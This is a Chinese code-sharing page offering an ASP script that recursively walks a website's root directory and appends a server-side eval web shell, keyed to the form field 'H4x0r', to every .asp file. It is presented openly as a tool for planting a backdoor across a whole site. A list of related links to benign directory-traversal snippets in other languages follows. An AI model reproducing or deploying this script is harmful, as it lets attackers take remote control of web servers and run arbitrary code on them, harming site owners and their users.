FSO遍历目录实现全站插马的代码

<%
dim ph
dim intfile
server.ScriptTimeout = 600
ph=server.mappath("/") 
Sub InsertAllFiles(Path)
Set FSO = CreateObject("Scripting.FileSystemObject")
on error resume next 
Set f = FSO.GetFolder(Path)
Set fc2 = f.files
For Each myfile in fc2
If lcase(FSO.GetExtensionName(path&""&myfile.name))="asp" then
Set FS1 = CreateObject("Scripting.FileSystemObject")
Set tfile=FS1.opentextfile(path&""&myfile.name,8,false)
tfile.writeline "<SCRIPT RUNAT=SERVER LANGUAGE=JAVASCRIPT>eval(Request.form('H4x0r')+'')</SCRIPT>"
else
InsertAllFiles(newpath)
end if
tfile.close
Next
Set fsubfolers = f.SubFolders
For Each f1 in fsubfolers
newpath=path&""&f1.name
InsertAllFiles(newpath)

Next
set tfile=nothing
Set FSO = Nothing
End Sub
%>
<% 
call InsertAllFiles(ph)
%>

(0)

相关推荐

  • FSO遍历目录实现全站插马的代码

    <% dim ph dim intfile server.ScriptTimeout = 600 ph=server.mappath("/")  Sub InsertAllFiles(Path) Set FSO = CreateObject("Scripting.FileSystemObject") on error resume next  Set f = FSO.GetFolder(Path) Set fc2 = f.files For Each myfi

  • ASP,FSO遍历目录及目录下文件

    <%@ Language=VBScript %> <% '我写的一个遍历目录以及目录下文件的函数, %> <% function bianli(path) set fso=server.CreateObject("scripting.filesystemobject") on error resume next set objFolder=fso.GetFolder(path) set objSubFolders=objFolder.Subfolders

  • CMD下一个命令遍历目录并删除相同文件的代码

    如果不小心安装了些制造垃圾的小工具,在系统中各个盘符下都产生了相同的垃圾文件,如我系统中就曾经有被产生了无数的desktop_1.ini 和 desktop_2.ini,当时首先想到的解决办法就是把所有的文件用windows的搜索工具找到,再一并删除,这种方法固然可以解决,但搜索的时候别忘了勾选搜索隐藏文件和隐藏文件夹,不然你是搜索不到恶意制造的垃圾文件的. 这里给出另一种简单办法,只要一个命令,也可达到同样的效果. 它遍历当前盘符并自动删除找到的文件. 命令格式: 复制代码 代码如下: I:\

  • asp遍历目录及子目录的函数

    <%@ Language=vbscript %>  <%   '遍历目录以及目录下文件的函数  %>  <%    Function Bianli(path)      Set Fso=server.createobject("scripting.filesystemobject") On Error Resume Next      Set Objfolder=fso.getfolder(path) Set Objsubfolders=objfolder

  • 遍历目录以及目录下文件的函数

    <%@ Language=VBScript %> <% '遍历目录以及目录下文件的函数, %> <% function bianli(path) set fso=server.CreateObject("scripting.filesystemobject") on error resume next set objFolder=fso.GetFolder(path) set objSubFolders=objFolder.Subfolders for e

  • GO语言实现列出目录和遍历目录的方法

    本文实例讲述了GO语言实现列出目录和遍历目录的方法.分享给大家供大家参考.具体如下: GO语言获取目录列表用 ioutil.ReadDir(),遍历目录用 filepath.Walk(),使用方法课参考本文示例. 具体示例代码如下: 复制代码 代码如下: package main import (  "fmt"  "io/ioutil"  "os"  "path/filepath"  "strings" )

  • Java文件操作之按行读取文件和遍历目录的方法

    按行读取文件 package test; import java.io.*; import java.util.*; public class ReadTest { public static List<String> first_list; public static List<String> second_list; public ReadTest() { first_list = new LinkedList<>(); second_list = new Link

  • PHP遍历目录函数opendir()、readdir()、closedir()、rewinddir()总结

    在进行PHP编程时,需要对服务器某个目录下面的文件进行浏览,通常成为遍历目录.取得一个目录下的文件和子目录,就需要用到opendir()函数.readdir()函数.closedir()函数和rewinddir()函数. ①函数opendir() 函数opendir()用于打开指定目录,接受一个目录的路径及目录名作为参数,函数返回值为可供其他目录函数使用的目录句柄(资源类型).如果该目录不存在或者没有访问权限,则返回FALSE. ②函数readdir() 函数readdir()用于读取指定目录,

  • PHP采用自定义函数实现遍历目录下所有文件的方法

    目录的遍历是PHP程序设计中经常会用到的一个功能,很多PHP项目都有这一功能模块.今天本文就来实例解析一下PHP采用自定义函数实现遍历目录下所有文件的方法.具体方法如下: 方法一:使用readir()遍历目录 实现代码如下: function listDir($dir) { if(is_dir($dir)) { if($handle = opendir($dir)) { while($file = readdir($handle)) { if($file != '.' && $file !

  • PHP不用递归遍历目录下所有文件的代码

    实现代码: /** * PHP 非递归实现查询该目录下所有文件 * @param unknown $dir * @return multitype:|multitype:string */ function scanfiles($dir) { if (! is_dir ( $dir )) return array (); // 兼容各操作系统 $dir = rtrim ( str_replace ( '\\', '/', $dir ), '/' ) . '/'; // 栈,默认值为传入的目录 $

随机推荐